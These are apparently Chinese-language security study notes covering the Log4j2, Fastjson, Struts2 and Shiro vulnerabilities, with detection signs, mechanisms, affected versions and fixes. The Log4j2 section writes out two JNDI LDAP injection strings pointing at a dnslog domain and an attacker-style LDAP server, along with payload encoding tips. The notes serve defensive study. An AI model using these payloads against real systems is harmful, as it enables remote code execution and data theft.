1、log4j2
特征:
恶意请求中包含 JNDI 协议地址,如"ldap://"、"rmi://"等,被 log4j2 解析为 JNDI 查找。
原理:
在日志输出中,未对字符进行严格的过滤,执行了 JNDI 协议加载的远程恶意脚本,从而造成远程代码执行。
影响:
严重的 RCE,2.0 ≤ Apache Log4j2 < 2.15.0-rc2
攻击字段:
${jndi:ldap://${sys:java.version}.7fprj5.dnslog.cn}(手动测试)
${jndi:ldap://192.168.249.128:1389/h8sgrk}(工具生成)
(一般 payload 我们需要进行 URL 编码,传入的命令也需要进行 base64 编码后再解码)
修复:
将 Log4j 升级到已修复漏洞的版本;
如果不需要使用 JndiLookup 插件,可以将其移除或禁用;
配置 log4j2.xml 来限制日志文件的输出路径。
2、fastjson
判断:
构造恶意的 POST 请求,观察服务器返回的错误响应中是否包含了 Fastjson 相关的字样
特征:
开启了自省功能, JSON 数据中包含 @type 字段
原理:
fastjson 在解析 JSON 数据时存在自动类型转换功能(autoType),FastJson 就会自动解析@type 参数字段,利用该功能构造恶意 JSON 数据,使其在反序列化过程中触发漏洞利用链,从而实现恶意代码的执行。
注:@type、自省功能以及 autoType 指的是同一个概念,即 Fastjson 在反序列化 JSON 数据时根据 JSON 数据中的类名来自动实例化对应的 Java 对象的功能。
影响:
fastjson<=1.2.24:反序列化导致任意命令执行
fastjson< =1.2.47:构造特殊的 json 字符串绕过白名单执行任意命令
如何判断攻击成功:
POST 请求中包含了恶意构造的 JSON 数据;
服务器会返回异常的响应(如状态码为 500);
服务器会返回 Fastjson 相关的字样或错误信息;
与异常的目标 IP 地址或端口建立反向 shell 连接;
异常的恶意文件或数据传输行为。
修复:
将 Fastjson 升级到最新版本;
关闭 AutoType 功能;
在反序列化之前对 JSON 数据进行严格的验证和过滤。
3、Struts2
此漏洞源于 Struts 2 框架中的一个标签处理功能:altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。Struts 2 的 “altSyntax” 功能允许将 OGNL 表达式插入到文本字符串中并递归处理,这允许恶意用户提交一个字符串,通常通过 HTML 文本字段,其中包含一个 OGNL 表达式(如 %{1+1}),如果表单验证失败,服务器将执行该表达式。Struts2 代码执行漏洞均是 OGNL 表达式注入导致。
4、Shiro
介绍:
Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。
原理:
Shiro 在用户登陆时提供可选项 RememberMe,若勾选则下次登陆会携带 cookie 中的 remember me 字段发起请求,就不需要重新输入用户名和密码,用户登录成功后会生成经过 AES 加密和 base64 编码的 cookie。攻击者可以使用 Shiro 的默认密钥构造恶意序列化对象进行编码来伪造用户的 cookie,服务端反序列化时触发漏洞,从而实现命令执行。
特征:
勾选记住密码选项后,点击登录,抓包,观察请求包中是否有 rememberme 字段,响应包中是否有 Set-cookie:rememberMe=deleteMe 字段。
利用:
只要 RememberMe 的 AES 加密密钥泄漏,无论 Shiro 什么版本都会导致反序列化漏洞,AES 是对称加密,加解密是相同的密钥,密钥是写在开源框架的代码中的,我们便可使用公开密钥进行爆破尝试。
修复:
升级Shiro到最新版本;
修改shiro的密钥,不要使用公开密钥;
WAF 拦截 Cookie 中长度过大的 RememberMe 值。